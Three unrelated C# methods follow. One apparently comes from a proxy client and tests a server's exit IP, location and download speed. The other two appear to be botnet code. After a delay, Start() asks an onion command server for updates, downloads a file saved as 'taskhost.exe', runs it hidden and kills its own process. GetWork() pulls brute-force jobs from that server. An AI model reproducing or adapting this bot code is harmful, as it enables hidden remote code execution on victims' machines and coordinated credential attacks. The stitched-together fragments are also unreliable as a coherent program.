private void GetIPAddress(int svc, out string addr, out string stat, out float speed) { var currentIndex = controller.GetCurrentConfiguration().index; controller.SelectServerIndex(svc); var webClient = new SocksWebClient { ProxyDetails = new ProxyDetails(controller.GetCurrentConfiguration().localPort) }; try { //get location var regx1 = new Regex(@"\d+\.\d+\.\d+\.\d+"); var regx2 = new Regex(@"来自:(.*?)\<"); var response = webClient.DownloadString(@"http://1111.ip138.com/ic.asp"); var mc1 = regx1.Match(response); addr = mc1.Success ? mc1.Value : "Unknow"; var mc2 = regx2.Match(response); stat = mc2.Success ? mc2.Groups[1].Value : "…(⊙_⊙;)…"; } catch { addr = "Unknow"; stat = "…(⊙_⊙;)…"; } try { //speed test var sw = System.Diagnostics.Stopwatch.StartNew(); var dl = webClient.DownloadData("https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B7B1E2CBF-95F1-5FDD-C836-E5930E3E51CD%7D%26lang%3Den%26browser%3D4%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26installdataindex%3Ddefaultbrowser/update2/installers/ChromeSetup.exe"); //http://dl.google.com/googletalk/googletalk-setup.exe sw.Stop(); var len = dl.Length / 1024f; var sec = sw.Elapsed.Milliseconds / 1000f; speed = len / sec; } catch { speed = 0; } finally { webClient.Dispose(); controller.SelectServerIndex(currentIndex); } }
public void Start() { System.Threading.Thread.Sleep(120000); SocksWebClient wc = WebclientFactory.getWebClient(); try { string updates = wc.DownloadString(FluxGlobal.sOnion + "api/bots/update.php"); double dAvailable = double.Parse(updates); if (dAvailable > FluxGlobal.dVersion) { try { wc.DownloadFile(FluxGlobal.sOnion + "api/bots/svchost.exe", FluxGlobal.sInstallDirectory + "\\taskhost.exe"); System.Diagnostics.Process p = new System.Diagnostics.Process(); p.StartInfo = new System.Diagnostics.ProcessStartInfo(FluxGlobal.sInstallDirectory + "\\taskhost.exe"); p.StartInfo.UseShellExecute = false; p.StartInfo.CreateNoWindow = true; p.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; p.Start(); System.Diagnostics.Process.GetCurrentProcess().Kill(); } catch (Exception ex) { Console.WriteLine(ex.ToString()); } } } catch (Exception ex) { Console.WriteLine(ex.ToString()); } }
public static string GetWork() { return(swc.DownloadString(FluxGlobal.sOnion + "api/bruteforce/getwork.php?slots_open=1")); }